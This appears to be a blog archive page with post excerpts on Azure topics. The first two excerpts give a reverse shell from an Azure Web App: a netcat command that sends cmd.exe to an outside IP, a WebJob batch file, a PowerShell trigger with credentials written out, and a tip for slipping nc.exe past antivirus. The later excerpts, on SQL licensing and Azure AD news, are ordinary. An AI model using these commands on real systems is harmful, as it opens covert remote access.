In this article I present idea about running NetCat in Web App and in this way access to the shell. If you need it to work this solution can be more comfortable. Just create start.bat like this: d:homesitewwwrootnc.exe 40.113.139.194 443 -e cmd.exe and upload it as a WebJob to the Web App. And in this way, you can always invoke it using and make connection to the shell: $username = “`$webapprg09”$password = “vzcXNeXmoltECLoALtLrYeincorect”$base64AuthInfo = [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes((“{0}:{1}” -f $username, $password)))$userAgent = “powershell/1.0”$apiUrl = “https://webapprg09.scm.azurewebsites.net/api/triggeredwebjobs/reverse/run”Invoke-WebRequest -Uri $apiUrl -Headers @{Authorization=(“Basic {0}” -f $base64AuthInfo)} -UserAgent $userAgent -Method POST -Debug First, you need to invoke server using: netcat -l -p 443
Month: January 2020
Reverse shell to your WebApp – Console to Azure WebApp from your text environment like bash
As far I remember we can use console access to your Azure Web App – it is available via webbrowser, via Kudu, Console Access or via App Service Editor – wher you can upload files. It looks like this: But it is not always very convenient to use it via web broswer especially when you are working on not so good internet connection or would like monitor logs. You can use netcat to establish a connection from WebApp to your workstatnion. How to do it. Just on the machine where you wan to use text console just install netcat using: apt-get -y install netcat and start to wait for the incoming connection. In this example, we will use a 443 port. netcat -l -p 443 In your Web App upload nc.exe (source https://eternallybored.org/misc/netcat) and run it: nc.exe 40.113.139.194 443 -e cmd.exe Please be aware that nc.exe in Windows 10 is a unwanted software, so just after unzip you have only several seconds to upload it to the Web App. What is it for? The main reason for this blog-post is that Web App can be used as an enter point to your infrastructure and should be protected. A similar code … Reverse shell to your WebApp – Console to Azure WebApp from your text environment like bashRead more
SQL Server Software Assurance Licensing Benefits for Disaster Recovery
If a customer is on-premises, then they get the following with Software Assurance for every core that is deployed on the primary: One free passive core for HA or DR on-premises; One free passive core for DR (async replication only); One free passive core for DR on SQL Server on Azure VM (async replication only). If a customer is on Azure VM, then they get the following with Software Assurance for every core that is deployed on the primary: One free passive core for HA or DR on Azure VM; One free passive core for DR on Azure VM (async replication only). Passive SQL Server Instance – the following operations are allowed a passive secondary : Database consistency — Maintenance operation; Log Backups; Full Backups; Monitoring applications can connect and gather data.
News from the last quarter of 2019 year in the field of Azure Active Directory
Successor of Azure AD Connect: Azure AD Connect cloud https://docs.microsoft.com/en-us/azure/active-directory/cloud-provisioning/what-is-cloud-provisioning Azure AD authentication to Windows VMs https://techcommunity.microsoft.com/t5/azure-active-directory-identity/azure-ad-authentication-to-windows-vms-in-azure-now-in-public/ba-p/827840 Conditional Access report-only mode Evaluate impacts of new policies before rolling them out across the entire organization. Monitor impact with Azure Monitor and the new Conditional Access Insights workbook. News in Identity Protection Added and enhanced signals New detections Improved APIs New user interface Azure Sentinel integration https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/overview-identity-protection Security Defaults Preconfigured security settings for common attacks Basic level of security at no extra cost https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/concept-fundamentals-security-defaults New build-in roles in Azure AD Global reader Authentication admin Privileged authentication admin Azure DevOps admin Security operator Several B2C roles Group admin Office apps admin Compliance data admin External identity provider admin Kaizala admin Message center privacy reader Password admin Search admin Search editor https://techcommunity.microsoft.com/t5/azure-active-directory-identity/16-new-built-in-roles-including-global-reader-now-available-in/ba-p/900749 https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#available-roles Azure AD entitlement management Govern employee and partner access at enterprise scale Automate employee and partner access requests, approvals, auditing and review https://docs.microsoft.com/en-us/azure/active-directory/governance/entitlement-management-overview Admin consent workflow Admin consent workflow – gives end users a way to request access to applications that require admin consent. Without an admin consent workflow, a user in a tenant where user consent is disabled will be blocked when they try to access any app that requires … News from the last quarter of 2019 year in the field of Azure Active DirectoryRead more